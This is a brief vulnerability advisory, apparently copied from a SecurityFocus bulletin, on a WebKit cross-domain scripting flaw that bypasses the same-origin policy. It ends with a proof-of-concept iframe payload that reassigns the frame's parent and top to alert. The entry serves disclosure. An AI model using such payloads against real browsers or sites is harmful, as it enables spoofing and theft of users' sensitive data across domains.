WebKit - parenttop Cross Domain Scripting

source: https://www.securityfocus.com/bid/35441/info

WebKit is prone to a cross-domain scripting vulnerability.

A remote attacker can exploit this vulnerability to bypass the same-origin policy and obtain potentially sensitive information or launch spoofing attacks against other sites. Other attacks are also possible. 

<iframe src="http://www.example.com/safari/safari2.html" onload="this.contentWindow.parent=this.contentWindow.top=alert;"></iframe>